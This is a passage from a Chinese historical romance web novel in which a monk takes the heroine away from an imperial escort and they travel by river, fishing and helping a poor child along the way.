而对她最大的歉疚，竟是将她从此锁在深宫，做天家的鸟雀。 这一夜宿在城中馆驿，已是梁宇遍扫、被褥翻新，连邑宰也携着乡绅权贵赔笑逢迎，将应怜安置在后院雕梁画栋的小楼之上，女使们屋里院外成群成排地守着，哪怕应怜一声咳嗽，下头都有人着急着慌地请来最好的大夫问诊看脉。 可她睡在这样柔软锦绣的闱帐里，翻来覆去，怎么也睡不着。直到夜半，一轮明月上中霄，皎皎银光如水，透过窗隙，泻在缂丝的锦毯上，一泓一泓盈盈清透。 应怜赤着脚下床，心中想着旧事，想起元羲，又思念宗契，全无一点睡意，推开窗，抬头望见月，月照街巷、照河水、照城墙，却照不见她的家乡。 三月中夜有些微凉，楼下侍女们早已入睡，她得以不合规矩地趴在窗前，下巴搭着手肘，漫无目的地遥望，心中孤索，漫漫茫茫，一时无以复加。 她不愿做宫禁里的妃嫔。若是宗契在就好了，他们说说笑笑，一道离开，谁也拦阻不住。 也不知他在哪里，是否望着她的方向，或是早已入梦，梦里也有一轮明月，像她见的这般。 车马行了六日，朱女官对应怜越来越不满。 自然，她不会去找应怜的茬，只是话里眉间，应怜瞧得见她未出口的言下之意： 从前甚是端庄，可惜在外流落二年，学了些轻佻粗野的习性，也不知堪不堪为天家妇。 应怜只当不见，甚至突发奇想：不如趁他们不备，扯一匹马，就跑离了这些人，自个儿悠悠闲闲一路回洛京多好。 只是想归想，一来她不大能骑马，二来路面贼匪横行，她孤身一人，莫说去洛京，恐怕没到下一城，就被哪路强人给劫去了。 烦闷日甚一日，应怜恨不得在车里打滚，发泄发泄心中不满。 也不知真是她心意感动上天，老天爷降下恩赐，马车走着走着，才到了一处山脚，地势平坦的一带，却忽停了下来。 应怜车脚下一震，却听外头有些骚动，是宫婢们不安地窃窃私语，探报回来，向她悄声道：“娘子，前头有一野僧化缘。” 她心中猛地一动，一拨帘，倾出半个身子，迎着日光，耀目得有些瞧不清楚，唯见光晕之中一个魁梧高大的身影，像一柄利刃，截在队列当中，正在她的马车旁，十几步不近不远。 宫人守卫们隔在当中，话声透过人与人的缝隙，挡也挡不住地传来。 “此是州官护保的车马，闲人莫近！” “贫僧非是闲人，是前来化缘。” 一串白胖小巧的子推燕挂在柳枝上，在应怜头上晃荡。她不顾那燕儿嘴啄着自己发梢，轻盈盈跃下马车，阳光迎面洒在脸上，眼眶有些热，心里也仿佛被三 月的春暄晒得发烫。 前头朱女官已然来了，声音冷淡，向侍人示意，取出一串钱来。 “天子浩恩四海，这是咱们敬佛的心意。” 对方没接，“贫僧不化钱财。” 朱女官问：“那你化什么？” 他疏朗沉静的眉眼向子推燕的马车望来，望见了她，脸廓染上辉光的柔和，嘴角微微扬起笑意，一时间洒落温柔，使人凝视，难以移目。 应怜拨开发怔的宫婢，一步一步，心中潮水满溢，倾江倒海，向他而去。 宗契牵着同来的那匹马，气度沉稳，一指应怜，“就化这一小娘子。” 朱女官大怒：“原来是个泼赖！” 当下便教守卫将他打走。只是宗契身形快旁人一步，一个躲闪，抄在人身后，伸手拎住后脖领，往侧旁一搡，便似拿根竹竿打落了秋叶，乌压压将来人搡倒成了一叠。 他向应怜伸出手。她心中欢快至极，一手提裙摆，奔了过去，也不知踩了谁的腿脚，却也无所畏惧，往前一跃，被宗契一把接住，拦腰一举，便送上了马背；紧跟着自个儿也上马，贴着她身背后，抄手圈起，一勒缰绳，“走了——” 朱女官大骇，指着那一骑大叫：“救人！救人！” 那宝驹旋风似的，腿脚轻便，早已越过寥寥阻拦，往前去了。唯听应怜洒下的一串笑声，比山谷里莺儿更轻灵畅快，不过几个瞬息，便再无可能追上。 而后有人战战兢兢，看着面容失色的女官，指着道：“那人、那人似曾相识，是贼匪里那一和尚！” 朱女官半晌才回转过来，思前想后，骇惧变了怒容，气得脸面铁青，喃喃道：“勾结私逃，失贞失德……不堪配天子！” 她这厢恼她的，再望向前，迎着日头的方向，人与马绕过弯弯的山路，皆已不见。鸟雀枝梢一瞬乍起，乱鸣啁啾，与嘈杂无措的人声纷乱交织，渐散渐消。 第110章 第110章我求百年好，何止一朝…… 山风清清，涧溪鸣鸣，马蹄轻快踏过碎石溪谷，应怜脸面、耳畔拂上再快意不过的风。她紧紧抓着缰绳，颠簸中被身后宗契环拥，那双手臂稳固、坚硬，与他贴在背后的胸膛一样，散发汩汩的热意，与她相触。他也在笑，胸腔下心脏跳得稳健飞快，与她自己的混在一处，交织成了一张密密的、热烈的网。 宗契后头说了一句什么，应怜没听清，便侧转头来，微微后仰，“什么？” 余光中瞥见他笑意未落的眼眸，内里光华万蕴，拥着她、与她一道勒缰辔的手臂却往内紧了紧。 他定定的、几乎是发怔地瞧着她，瞧她笑靥如玫瑰霞光染上白玉，方才的话一并从脑海中消失，唯有她杏柳春色的眉眼、琼鼻朱唇，各个盈盈一点，在极近之中散着兰蕙幽香，惑他的心神。 应怜见他不开口，又侧了侧身子，才想再问一句，耳畔处却蓦地落下了一个吻。她刷的红了耳根，觉察那吻却流连似的，逐渐绵延到了侧颊，带着他炙热的气息，喷洒在她唇畔。 宗契俯下头，改为一手执辔，另一手牢牢将她揽住，扣在怀内，托着她微颤发软的腰身，几乎将她遮覆怀中，与自己骨血融为一体。 应怜微微仰头，承受他落下的亲吻，从脸颊向嘴角，最后印上双唇。她生涩地回吻，被他勾得情动，任从未有过的悸动窜上四肢百骸，又被他一一抚平、再波澜一样掀起。 马儿不知何时已放慢了，不再撒蹄疾奔，没了鞭策，渐渐由小跑专为散漫地晃荡，向山林无人处而去，误入一带野杏芳菲，扰起缤纷落英，纷纷如雨，砌在人发梢肩头，成一场绮丽异常的梦。 最后唇舌离分，宗契仍搂着她，恋恋不舍地又啄了啄，瞧她似阖非阖的眸儿里春水早已满溢，脸颊红了一片，不由得止不住微笑，手指抚过她愈加饱满红肿的唇，将唇边一丝勾起的湿润抹掉。 应怜才觉察到，羞得肝尖儿都颤，扭过脸不说话，却仍倚在他怀中，一颗心噗通噗通地跳。 宗契环着她，在漫天红粉的野杏林中缓缓驱马向前，一时也并未开口，低头总见她通红的耳尖，忍不住拿手来捏一捏，或干脆亲一亲，心中从未有过的宁静满足。 半晌，应怜才问，声音里也含着水似的，“你怎么追来了？那天送行，并未见着你。” “我送你一程。”他抚了抚她鬓发，为她将一缕散发别到耳后。 应怜被他亲得迷迷蒙蒙，好容易思绪定了，忽然想到了什么，讶然道：“难道你……你一早便跟了来？” 回应她的是宗契低头在她发间落下的一记亲吻。 “你老实说，是不是打一上路便偷偷跟着我？”她不依不饶。 宗契只得含糊应了一声，算是承认。 应怜偏头望着他，瞧他再柔和不过的眉眼，心中忽然涌起一股极炽热的情感，又想到前夜里她楼上望月，他也不知在哪处角落里望她，那股滚烫的潮水便愈发满涨，汹涌至无可复加。 “我不愿与她们一道。”她心满意足地窝在他怀里，任他将自己带向前方，喟叹，“真好，你来了。” 宗契道：“只是我身份所限，不便入州城府界。只得委屈你，与我捡村舍野径一路上京了。” “你只别教我被剪径的强人掳了去便好。”应怜话中带笑。 行至一杏花枝梢，她顺手摘下两朵，一朵塞入宗契袖中，一朵揣在自己衣袖里，携着一对杏子微香，长舒了一口气，心旷神怡地与他上路。 江宁至洛京，原本便千里山水路程，迢迢的远路急不得；好在江宁近无战事，宗契早禀了单铮，赚得几个月宽限，便赶了辆马车，带着应怜一路北去。 他们并不急着赶路，行到山水好处，走走停停。过不几日，赶上寒食时节，正来在淮水河畔，邻近便是大禹曾治过水的涂山，淮水岔流如枝桠环抱，新绿的苇草蒹葭漫漫丛丛，景致奇秀，应怜便想着趁寒食清明，四处闲逛一回，一来解解车马劳顿，二来哪怕寻个草市，买几套里外的衣裳，略作换洗整顿。 盘算得周到，没成想城外的荒野里，村舍零星稀少，偶逢见了草市，行人也稀稀拉拉，只货与货易些草谷、干面、鱼米等物，少有几样麻纻、针头线脑，一眼望到头，也没个卖布匹成衣的。 宗契倒在道旁瞧见卖竹鱼竿的，二十个钱便连蚯蚓也得了一盅，提溜着钓竿问应怜，“会钓鱼么？” “这怎么不会？”应怜道，“我家从前池子里尽是金红鲤，我钓得可好了！” 宗契但笑，也不说是与否，脸上满满写着不信。应怜哼一声，“不信咱们就试试，我若钓起鱼了，你可怎么说？” “你要怎的？”宗契道。 应怜扒拉着那一堆纠缠的蚯蚓，捏着手指想拈一只，半天下不了 手，只得放弃了，也不知想到什么，脸有些微微地红，“你应我一件事。” 宗契爽快应下，却又想不出还有哪一件事是没依过她的，“是什么事？” “过后再说。”应怜脸更红了。 有了赌约，她便将换洗衣物的事搁在了一边，兴冲冲地要寻一处下钓。寒食这日，自清晨起便阴云隆隆，空气湿闷，正是个钓鱼的好天气。宗契如常赶了马车，到得一处不大的河湾，恰巧见河畔落着一间高脚的竹屋，虽不敞阔，却十分整齐干净，正有人从里头出来，背着篓子要走。 宗契正要放定马车，便拦住那人，望之皮肤黧黑，是个终日打渔的船家，一问果然便是。 “我正要去前头乡里探我女儿，清明后才得回，你车马栓在此，丢了可别找寻我。”船家道，“我这屋也不落锁，师父要住便住，莫嫌寒酸便好。” 正遂了宗契的意。他把了一串钱作谢，船家千推万辞不过，只得受了，索性指点他，屋下靠河的一面，有条旧舟子，也予了他用。 船家走后，应怜才下了车，与宗契入得竹屋。 里头但只一间一榻，一门一窗，四面挂着些网子梭子、叉子竿子，俱是竹木制成，连脚踩的地面也是成排的粗毛竹并排串成。应怜从未住过这样的屋子，甚有些稀罕，这里那里打量，却早见宗契进进出出，先将那简陋的竹榻拿火烤了一遍，再擦拭遍净，后又从马车里抱着一团被褥铺开，连软枕也舒舒服服地放在了一头。 应怜见他动作利索熟练，才后知后觉想到一事，点指那榻，“你、你睡哪？” 宗契才提了一木桶水，寻到茶炉，生火烧了，闻言道：“我马车里睡便是。” 说罢又见她红红粉粉的脸颊，眼儿里润明的墨似的，乌沉沉地却发亮，禁不住心中喜爱，这几日由着性子与她亲昵厮磨，心恐太过，却沾着有瘾似的，一见她模样便舍不得放手，于是便到她身边，低头亲了亲她的唇。 应怜极爱他动情的神色，心旌神荡，在他一触即离的时刻，又将他拉近，踮脚回吻上去，脚跟碰着竹榻，不由往后，带着他将自己压在铺展了被褥的榻上。亲吻变得逐渐凌乱急促起来。 她耳尖发烫，脸像着了火，身子也滚烫，抱着他不撒手。 宗契撑起半臂，怕压着她，却又想天长地久就这么压着，听她像此时这样发颤地喘息、双手攀扯他的衣襟，本就柔软的身躯更成了一汪春水，仿佛再经受不住、却又止不住索求似的。 他艰难地扼制住心底几欲挣脱出笼的欲。望，猛地支起身，瞧她花颜红透，声音喑哑，“太……我唐突了。” “什么？”应怜不匀地喘息，喃喃像是撒娇，“我爱与你亲近，为何唐突？” 宗契喉头发紧，一时竟回不上话。应怜与他倒在榻上，双。腿交叠，半晌反应过来，“啊”地一声，脸红得更要滴血。 他不再禁锢着她，翻起身，有些微微地窘，才要平复，腕子上却一热，被她轻轻地拉了来。 应怜在他身旁，对上他双眸，那羞怯的潮水一荡，却激起了些笑意，眼神没有躲闪，“我从前……在青玉阁的纱绢上，见过；莲台寺时也见过，那时觉着是再污秽不过，但若想到是与你……料想便是天底下最好、最快活的事，你不必觉得唐突。” 宗契定定地、几乎贪婪地瞧着她，如一株年复一年坚硬无比的铁木，得春风一拂，窥见东风里蕊枝初绽时欲遮欲诉的风。情，直瞧得痴了。 “不是这样，”不知多久，他回握住她柔软的手，将它笼在手心，低低道，“不该了委屈了你。我当先告禀师父，还俗归家，凭媒妁牵线，明媒正娶，那时才能与你做成夫妻。而不是命途未定，便诱哄与你，陷你于世人口舌中。” 应怜心中暖热，却又多生出酸涩，反复琢磨他“命途未定”的话，又懂了他未说出口的话中意。 他的命途与宁德军的命途捆缚在一处。他有可能身败名裂，更有可能死在哪一场兵戎之中。 光是略微一想，她便心神不安，滋生了悚怖。 “我等你。”许多话涌到唇边却终未出口，她只说了一句。 宗契牵着她的手，不再谈扫兴的话，转而一笑，“你不是说能钓上鱼来？咱们钓鱼去！” 应怜也起了兴致，与他一道，乐颠颠取下墙头张挂的橹，出了屋，勾来泊在屋脚的小木舟，瞧新鲜似的瞧宗契熟门熟路地上了潮湿老旧的木桨，稀罕地问：“你会摇桨？” “嗯，在家时就会。”他小心翼翼地扶她上船，坐定在当中一横木上，自个儿支桨点离了岸，“后来替师父巡山下一带的河湖产业，也常行舟。” 他便说起从前的一些趣事。应怜听得入神，终于恍然道：“怪道你能撒下大把花银来赎我，原来你们佛光寺良田水泽千顷，端的财大气粗！” 说说笑笑，便到了一处湖面平静的水泊，舟在水中，如行在镜里。宗契便收起桨，任舟散荡水面，望望阴云滚滚的天色，拿钓竿与她。 应怜钓鱼且娇气，饵食也不肯亲自上，言之凿凿，“从前都是旁人上饵食，我只放钩便是了！喏，快些！” 她努着嘴向那堆蚯蚓。宗契觉着好笑，钩了饵，又递过去，“那打窝呢？” “打窝？”应怜爽快地一投钓竿，“打什么窝？” 宗契便猜着她那仨瓜俩枣的钓鱼手段了。 “不打窝，鱼如何围聚、你如何来钓？”他问。 应怜盘腿放钓，已如画中闲云野鹤的渔子，闻言望望比镜更清的水底，见藻荇摇摇，鱼虾早逃之夭夭，难得迟疑起来：“我家中锦鲤自来围聚，从不用什么打窝……” 宗契只是“嗯嗯”随声，哄孩子似的附和她。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 110-120 第111章 第111章淡荡春光寒食天 一番下来，直到黑云越压越沉了，也还一条鱼没上钩。 应怜泄气得很，想着从前家中锦鲤争相咬饵的光景，不禁纳闷：“莫非这水太清，养不下鱼？” “哪条河的活水不养鱼？只是你没钓着而已。”宗契笑道，“亭台小园里作景的金红鲤，因是向来喂惯，呆呆傻傻，你来钓，它求着你还来不及；这又不比园池，河水东西流，鱼儿自在惯了，你若钓，便是你求着它，怎么能一样？” 应怜从未想过此，教他一点醒，若有所思。 非止钓鱼，似乎往昔里般般件件，无论事或物，只要她想，言语一声，它们便一股脑送在她手里；可天下好物，如鱼鲜嫩，却不是手心朝上等来的。 她得去求、去取。 宗契见她怔怔的也不知想什么，以为她钓不着鱼着恼，便宽慰：“无妨，我早先见路过处有家张挂酒旗，想是个村店，待买些酒米撒了，另挑一处水草丰美的，自能聚拢来鱼。” 正说着，天色浓阴，雨点子却一晌噼里啪啦砸了下来。 这一场春雨来得意料之中，却又急不可耐。二人忙忙地回转，正摇着桨，轰隆隆隐约的雷声闷闷响彻山外天边，惊了蛰虫、湿了百花。 应怜有些怕雷，急急地催着船行。饶是宗契船走得飞快，到了竹屋，两人也浇得一头一身湿哒哒的雨水，滴滴答答顺着衣襟鞋袜往下淌。 宗契找来手巾与应怜，又要炉里生起火烘一烘湿衣，却被她拉住，“别动烟火了，我穿你一身衣衫就行。” “那可不大合身。”宗契道。 应怜散了长发，手巾里慢慢地搓，歪头望着他，有些零星的笑意，“我凑合凑合。” 也不知是被她笑的，或是想到她将要穿的是自个儿的衣裳，宗契有几分脸热，回马车挑了又挑，取了一套再干净不过的衣裤，腰带齐整地搁在上头，并一双崭新的靸鞋白袜，交与她，便回了马车里等。 一会儿，竹屋里头喊：“我好了！” 宗契推开门，望见一 个靛色短衫的小郎君，肩腰都仿佛被裹在宽长的布衣里，一根玉簪别住乌黑长发，黛眉秀目、婉然含情，唇如破蕊红樱，别有一番深藏的春色。 那衣袖裤脚对她而言，委实长大了些，露着一双凝霜似的腕臂，卷一卷袖口，又弯下身拽一拽裤脚，才俯下些，牵动了束得紧紧的纤细腰身。一个错眼，宗契又约略瞧见了一抹极白的痕色，从遮掩不住的领口里，欢快地打他眼底一划而过。 应怜再一次挽好裤腿，直起腰，轻轻一踢，那宽大的裤腿又下掉了三分。她有些苦恼，一瞧宗契，却见他别开眼，盯着竹面的墙，也不知什么可看。 才要开口问他瞧什么，他却察觉动静，扭回头来，声音有些发干，“太宽大了些。” “都吃一样谷米，你怎就长得这般长手长脚？”她半抱怨半玩笑，踢腿给他看，“卷起来也不行，三两下总散了，喏。” 宗契才反应过来，道了声“你等会”，转身又去了马车里；不多时再出来，手中攥着两根白布绦子，便教她坐于榻上，垂了两条腿，自个儿蹲下身，从她小腿肚起，为她一圈圈细密地绑了腿绷。 应怜乖乖坐在榻上，他伏身为她绑腿绷时，她便悄悄地瞧他。春衫轻薄，替换了臃肿的冬衣，便显出他结实隆起的肩背来，随着他动作，块垒遒劲地相互挤压，使人几欲觉察其间溢出的汩汩热意。那热意顺着他的手臂、指尖，压在与他相触的应怜的小腿上，她觉着从自己小腿肚起，似乎也有一股热意缓缓攀上了腰身。 应怜咬着唇，忍着不知哪里游窜的麻痒，实在忍不住，轻轻动了一下那只被他双手圈牢的脚。宗契只当她淘气，一把扣住脚踝，将松开的腿绷重新系起，“别动，就好了。” 他低着头专心系绦子，丝毫未见她面上已红晕一片。 应怜心里恼他一板一眼，却又爱他这无关风月的专注模样，心尖上只觉被人轻轻地一挠，酥酥痒痒的，不知做点什么好缓一缓。 她于是另一脚踢了靸鞋，穿得是一双合他脚长的新袜，松松垮垮缠在自己脚上，便用这脚悄悄地、轻轻地从他肩臂划过，在他不解抬头时，搁在了他肩头。 那只脚的力道不比一只蝶儿更轻，蝶翼轻展，她足趾在晃荡的袜里也微微地蜷了蜷。这一蜷，便被他觉察到了。 宗契的脸到耳根也红了，只是顿了顿，再没脾气地斥了句：“……胡闹。” 他取下肩头她那只小巧的脚，掌心里扣着，一时没放手，接着才捡起鞋为她套了，开始缠另一只腿绷。 应怜脸红耳热地任他施为，又拿那只松开的脚有一搭没一搭地碰他，支支吾吾，“宗契……” “怎么？”他又抬起头，专注的眸子望着她，嗓音有些哑。 应怜被他这样的目光瞧得有些迷糊，动了动身子，不知是热还是不自在，“我、我没穿抹胸。” 他低下头，手中动作不停，“嗯”了一声，半晌两边都缠完了，才起身，望见她宽大的领口，便别开眼，“我裁一条与你，你权且用着。” 应怜好奇起来，“你哪来布裁？” 宗契不答，只笑了笑，教她下地走几步。应怜依言，来回走了一趟，惊喜发觉他那腿绷绑得实在利索，既不太紧，走起路来又不再被那裤脚拖泥带水。有这一双腿脚，真恨不得再走上一二百里。 她旋风似的四个角窜了好几圈，末了在他跟前停住，啧啧称奇，“倒比衣裙省事得多。想来若非女子总囿在后宅不走动，往后定也爱穿这样的衣裤！” 她见宗契发笑，眉眼里也不知有多少喜爱，心头发热，一下踮起脚来，捧着他的脸，在那略厚的唇上重重亲了一口。 宗契笑意更甚，总有些赧，咳了咳，往外走，“我去裁抹胸，晚食前定与你用着。” 他走到门口，手上却被应怜一拉，回过头，见她眼眸亮晶晶的，万千的毓秀都蕴在里头，冲他勾勾手指，压低了声儿：“再亲一下。” 她的唇比蜜糖还甜。宗契顺从地低下头，想吻一吻她唇。她却比他更快，勾下他脖颈，趁他低头间隙，在那颗才剔过、又长出青青的发茬的光脑袋上飞快地亲了一记。 那声音又脆又响，宗契头皮上过电似的炸开一层酥麻的甜，捂着被亲过的地方，瞬间面红过耳，半晌没说出话来，几乎是同手同脚地回了马车里。 身后传来应怜得逞的清脆的笑声。 晚饭前，宗契果将一条白细布的抹胸与了应怜，教她试来，看合不合身。 那抹胸布面素淡，极是柔软，针脚算不上高妙，却也瓷实，两头系带各自细细地缝了，应怜穿在身上，嘴上不说，心底猜着几分，想是宗契裁了一件自个儿的衣裳制成。他本就不是重外物之人，宁德军再多的赏赐，一股脑只留与她用，自己在穿戴上并不很讲究。这样轻软的细布，在他衣物里绝不大多。 如今在路途中，他随带在身的更多是些粗糙耐磨的麻纻，这样一件细软素布的，他裁断了与她来用，自个儿也不知还剩不剩。 宗契依旧外头等了一时，敲门来问：“可成么？” “合身的。”她又拽了拽有些发紧的胸口，回了一句。 晚食是几里外村店里张罗的冷豆腐、生茭白，腌蜜枣，并几张早烙得的饼子；另还打了一角村酒，不为喝，宗契将酒混在黍米谷子里头，又将买来的巴掌大的糖糕掰了揉碎，搅和匀了，灌入个小盅，封了盖儿；做完了这些，才来用饭。 外头雨还飘着，丝丝片片，落在屋后的水泊上也静谧无声。天色已黑沉沉的，往常时分早已掌了灯，这日应着寒食，便不起烟火，二人将一只藤凳作桌，摆了碗碟，筷子绊筷子地囫囵用了一顿。好在此时节春暖复萌，并不多少寒冷。 应怜心情舒畅，觉着眼前大和尚眉宇俊朗，佐酒下菜甚是令人食指大动，有滋有味地啃着干饼子，啃完了，掰着手指与他数：“你前几日一身鸦青的衣裳，今日钓鱼时换了身浅灰的，这会子又换了干爽的一身，与我一套靛青的、裁了一条白细布的，少说也有五六身换洗的衣裳……这位师父，你说送我一程，恐怕不止是一程，存的是一路送我上京的心吧？足以见得你果真心中放不下我。” 宗契被她调笑，有些难为情，好在仗着黑灯瞎火看不大清，撑着给自己打圆场，“防人之心不可无，谁能料那一行人中是否混了歹人，万一途中有变故，我也好照应。” “真的不是你舍不得，思我……唔唔唔？” 她嘴里嗦了颗对面塞来的蜜枣，甜津津地让人心也化了，眼巴巴地望着他。 宗契对面说话，声音似乎镇静，“一则怕出疏漏；二则心中爱你。好了，莫拿我取笑，吃枣。” 应怜意义不明地“嗯”了一声，终于歇了好半晌的话头，一时只有竹筷碰动的细微声响。 她红着脸啃完了一张饼，那枣的蜜意从舌上甜进了心尖，又把她的脑子给甜得想不出一丁点招数了。 第112章 第112章意有所思，情有所爱…… 翌日，应怜清晨才起，已见屋外河畔宗契生了篝火，围晾湿衣。破晓的天光冲散了淡雾，冲不开浓云，仍是阴沉天气。 昨日酒米浸了一夜，她揭开盖儿来闻，扑鼻的醺香。 外头宗契招呼，就着篝火煎了一壶野茶、几张胡饼，与她用过一顿简便早食，取了钓竿酒米便又上小舟，如昨日一般，只是另寻个钓处，收桨放钓。 应怜闹了一回笑话，不敢再托大，任宗契钩饵打窝，静悄悄下了钓。二人屏声静气，瞧河薮里鱼儿散聚穿梭，耐心地等待。 等待并不焦急，反倒有些悠闲的滋味。天色逐渐发白发亮，云气朦胧愈淡，不知多久，有一线耀金光芒剪开云边，乍泻下一二缕，天光瞬间明亮起来，点缀得河面粼粼。应怜甚至遥望见鱼儿摆尾、欢畅摇曳的水花，顾盼间见他在侧，偶尔目光交错，彼此情意里有着无限的欢欣。 若是以后，他们年复一年地在一处，闲来无事，春昼初晴时便这样散漫地泊舟、钓鱼，待到黄昏，肩并肩地归家，哪怕空手而归，她心里也是满满当当、很乐意的。 应怜出神地盯着水面，余光里是他高大坚实的身影，盘坐自己身侧，巍峨的山石一般，给予她无限的宽厚与依靠。 正漫无边际静思时，忽一双手握住了她的，宗契沉稳的声音身畔响起：“咬钩了，拿稳。” 手心里一沉，羽漂吃进水下，涟漪水花骤然翻起，粼粼日光碎金之中，应怜但觉那双手牢固、温热，带她纵着钓竿随游鱼而去，压着她的手，并不急着起钩。 “份量不轻。”他话里带了笑意，目光紧随水花掀动，“这竿儿有些脆，仔细别折了。教它跑一会，累了便不再挣了。” 应怜有些紧张，攥着钓竿， 依他的话，任那鱼挣逃了一回，渐渐觉着那力道缓了，又片刻，听他道：“起！” 二人手把手一处，当即将那竿儿一拉，哗啦一声，一条漂漂亮亮的长鱼便啪嗒弹落在了脚边。 应怜快活极了，稀罕地伸开二指比量了一下，“这鱼真大，得三拃长了！” “草鱼。这物长得快，两三个月便翻着倍长。”宗契取了钩，熟练地搓了草杆穿过鱼鳃，拎了拎，“只是急水里生得多，不意这小河沟里竟被你得了。” 应怜头一回钓野鱼，新鲜劲儿上来，顾不得腥气，拎了草杆的串子，喜滋滋地贴着脸瞧，冷不防被甩了一尾子水，惹得宗契大笑。 她以为才没一会，望望日头，竟已午时过半，才惊觉时辰之快；便与他一道回舟，商量着先到前头那村店里，托店家炙了鱼，顺捎些酒食回竹屋；歇过一夜，明日清明，烧些纸钱为家人遥祭一番，便接着赶路。 一道说说笑笑，二人沿着一条半荒不荒的野径，行过几家零落低矮的茅舍，向村店方向而去。 正争论是沾芥酱炙烤更辛香，还是涂了蜜炙烤更甜美，行径一处松散篱笆围绕的村舍时，却恰听着叫骂哭声。 篱笆破敝，上遮不住蟊贼，下拦不住野犬，里头一个憔悴褴褛的妇人，正骂自己的孩儿：“恁地娇气！手指头自个儿吮吮，莫沾污了苇子！编得了再吃饭！” 那孩子的哭声传来，又细弱又委屈，“娘，我疼呀！我饿——” “哭哭哭！没人要的小娼。妇，怎不哭死了你去！”她娘道，“没得苇箔，哪来换钱吃食！你快快地做，我劈了柴，送去城里换黍子，换得了给你熬粥！” 说罢，她娘便去后院劈柴。那孩儿抹了抹泪，把手指头嘴里吮着，孤零零地坐在地上，身旁散落一堆杂杂乱乱的长苇子。 应怜路过，越过干枯残损的篱笆，望见那又瘦又小的身影，还不如编出来的苇箔长，正埋头灵巧地做活，一蓬杂乱发黄的头发上还粘着草茎，是个女孩儿，瞧着也不过萍儿一般大。 她望着，便想起了萍儿，驻足立了一会，于是到门前。说是门，不过一道横木，贫苦得连贼儿也不来的。她推开横木，见那孩儿惊奇地抬头望来，脏兮兮的瘦脸上还挂着泪，一双手也脏，更粗糙得不像孩童的手，痕痕道道，指头上被苇子锋锐划破了，血珠子又隐隐渗了出来。 四面徒有些凋敝的破屋，也没个邻人，不知是走了是死了。院里匍匐生长的野花，一经风吹，盎然里透出荒败，徒然辜负春光正好。 踏在这样一方地上，应怜自个也不大晓得要做什么，于是笑了笑，向那女孩儿问：“你多大了？这苇子是你编的？” 对方只是睁大眼，警觉而惶恐地盯着她，似乎不会张口说话。 她和萍儿一般大。萍儿梳三丫髻、戴花朵一样的珠缯，寒冬里裹狐裘、貉裘，暖和时穿葱绿鹅黄的绫罗襦裙，女使婆子跟在后边追跑；她坐在泥地里，吮着手指上的血珠子，将苇子编得又密又好，见了生人，害怕得不敢再哭。 小舟里钓鱼的快活慢慢便如飘云散了，应怜半晌才领悟想做些什么，仍笑着问：“这苇子，你卖么？” 她点点头。 应怜便从袖里摸出个荷包，里头叮铃哐啷些碎银子，抓了一把过去，“我买你这苇子可好？” 那孩子瞧瞧她手心，又瞧瞧她，瑟缩着不说话。 身后宗契拍拍她，将银子接过去，随手扔进剩了小半的酒米里，同一小串铜钱一并递过来。 应怜恍然大悟，这样人家的孩子，恐怕不认得银子。她瞅了瞅那一条三拃长的新鲜草鱼，顺手也抄了过来，活蹦乱跳地搁在地上。 “我用这钱与鱼，换你的苇子，好不好？”她放轻柔声音，又问。 这一下那孩儿眼睛亮了，点点头，露出个笑，又有些害羞，把苇箔卷了，踮起脚往应怜怀里一塞，生怕她反悔不要。 应怜把鱼、钱与酒米一齐换给了她，她便一溜烟跑去后头了。 没待屋主人再出来，应怜同宗契携着编了大半的苇箔，慢慢地向村店去。 她心里头想得杂乱，无非是这家的男人约摸也像邻人，不是走了就是死了；又想到那些人或许被征了为官府做活，像年前被征去固堤的人那样，堤毁了，人也就冲走了；或他们此时就在江宁、在宁德军中，也不过是妻离子散。 便又想到，不知往后哪一年，宁德军打去洛京，也要行径此处，到那时这一家母女是否要罹难，或在那之前就已走了或死了，就连她将要去的挂了酒旗的村店，也不知那时是否还能留存下来。 这些注定没有答案的疑问太过沉重，连这几日的欢乐，一并都从她心中抹去了。 直到宗契出声，打断了她愈发消沉的想象，“只是可惜，再没沾了芥酱的炙鱼了，嗯？” 应怜思绪一断，心神被拉扯回来，偏头望着面含微笑的宗契，他英朗的眉眼浸在柔和温暖的午日光亮里，那一份眼角眉梢的锋利与棱角在她怔然的目光下，连安慰也变得和缓无声起来。 她勉强笑了笑，又觉得难为情，“有人终日冻饥，我却还为芥酱或蜂蜜争执。” 宗契叹了一声，那叹息中也有隐约的笑意。 他一只大手蒲扇般盖上了她头顶，将阳光遮去，也将她钻牛角尖的劲儿遮了，轻轻抚了抚她头发，片刻才开口： “这世上人本就多。有人贫、有人富、有人饱、有人饥，你有饭可食、有衣可穿、有屋可避风雨，这是你的福运；而没有得到这些的人，他们固然可怜，却不是你的罪过。有多少人只是在心里悯弱怜贫，实际上却连一个子儿都没施舍过。你能见贫弱而施援手，已是很好的善举。若你行了善事还仍羞愧，那么天下未行善事的人岂不得掩面自尽？” 应怜默默听着，他话声不大，却如浸润山林的酥雨，一点点渗进她心中，使她心中的焦渴得以减轻，那股不知由来的愤懑也一丝一丝被抚平。 但毕竟还有些怅然若失，仿佛一叶障目，她只差一点，得以仰见巍巍泰山；只差一点，却心中有毫厘阴翳，就犹如隔了天堑。 “以我只身一人，今日行善、明日行善，哪怕日日行善不绝，一辈子又能善施几人？便如那妇人家，我施予的银钱总有用尽的一天，到那时，她们不还得堕入贫苦么？” 二人在春日中漫漫地并肩走，踏过多少早已无人迹的野草荒郊。应怜将心中磐固不去的失意缓缓道出，不奢求他能指出一个确切的答案，只是纯粹地与他分享心底里的烦恼；又想起苦难并非只源于贫困，如自己、如定娘，甚至如那个生在天底下最尊荣、最威赫的富贵窝里的六皇子郭显。 “贫困时因贫困而悲苦，富贵时又因富贵而生出种种恐惧。”她琢磨自己的心意，试着将心中所想用言语吐露，“难道为人的一生，总有数不尽的烦恼？先前我因不忍见那对母女贫苦而施舍银钱，按理说施舍后应该快意满足，可却因此又生了更多的忧思——只因愿天下人皆衣食有着，却也明了这根本是痴心。若如这般，因有所思有所想而一辈子困在樊笼中，岂非还不如无知无觉的鸟兽鱼虫快活？” 宗契定定瞧她，唇边似有笑，眼却清明如镜，照她所思所想所烦忧所困扰，听她说罢了，静默了片刻，道：“佛中所言人生八苦，你便陷入‘求不得’之中。可正是这样求不得，你才会去求。你愿天下无饥寒，便尽你所能去施善。又所谓在其位谋其政，你如今能做的也只有施舍寒户银钱；至于庇佑天下世人这样的心愿，该是为官为君者所举。若他们也有这样的求不得，又如你这般去求，那天下迟早河清海晏。鸟兽鱼虫无所求，便无所进益，又安能比类？” 应怜若有所思。 直待遥望见村舍酒旗，又是过了大 